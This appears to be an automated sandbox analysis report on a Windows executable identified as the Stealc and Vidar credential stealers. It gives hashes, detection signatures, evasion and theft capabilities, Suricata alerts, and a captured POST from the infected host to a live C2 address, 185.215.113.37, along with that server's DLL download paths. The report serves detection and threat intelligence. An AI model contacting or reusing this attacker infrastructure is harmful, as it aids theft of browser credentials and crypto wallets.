Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538297
MD5:	3ddd3285248eedf8b26f3fb256f2a9a9
SHA1:	b87fe1fa8c3629818b9e1dd32ceed194766358f8
SHA256:	7e97a2b505c5c1921dd8a5da2ef5f879e79977ee1f856c776889f3d3765be4cc
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5944 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3DDD3285248EEDF8B26F3FB256F2A9A9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000003.1311274897.00000000056A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5944	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5944	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5944	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.file.exe.d90000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:01.584396+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.11	49708	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:01.577736+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.11	49708	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:01.928477+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.11	49708	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:03.268506+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.11	49708	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:01.946397+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.11	49708	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:01.227395+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.11	49708	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T23:43:03.843266+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:10.339844+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:11.712078+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:12.309785+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:13.075959+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:13.968638+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP
2024-10-20T23:43:14.357547+0200	2803304	3	Unknown Traffic	192.168.2.11	49708	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 33 46 42 37 41 45 33 39 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="hwid"9F3FB7AE39294266498721------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="build"doma------BAFCGIJDAFBKFIECBGCA--

Source: file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll&
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllD
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllh
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll3%8
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlly$
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllb
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllsibility
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Z
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1b
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3Ba
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpW
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfa
Source: file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpk
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnomi
Source: file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000006.00000002.1565261922.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: https://mozilla.org0/
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://support.mozilla.org
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639
Source: mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000006.00000003.1492948009.000000002FF34000.00000004.00000020.00020000.00000000.sdmp, DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000006.00000003.1492948009.000000002FF34000.00000004.00000020.00020000.00000000.sdmp, DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	6_2_6C5CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5CB8C0 rand_s,NtQueryVirtualMemory,	6_2_6C5CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	6_2_6C5CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	6_2_6C56F280

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F	6_2_0115193F
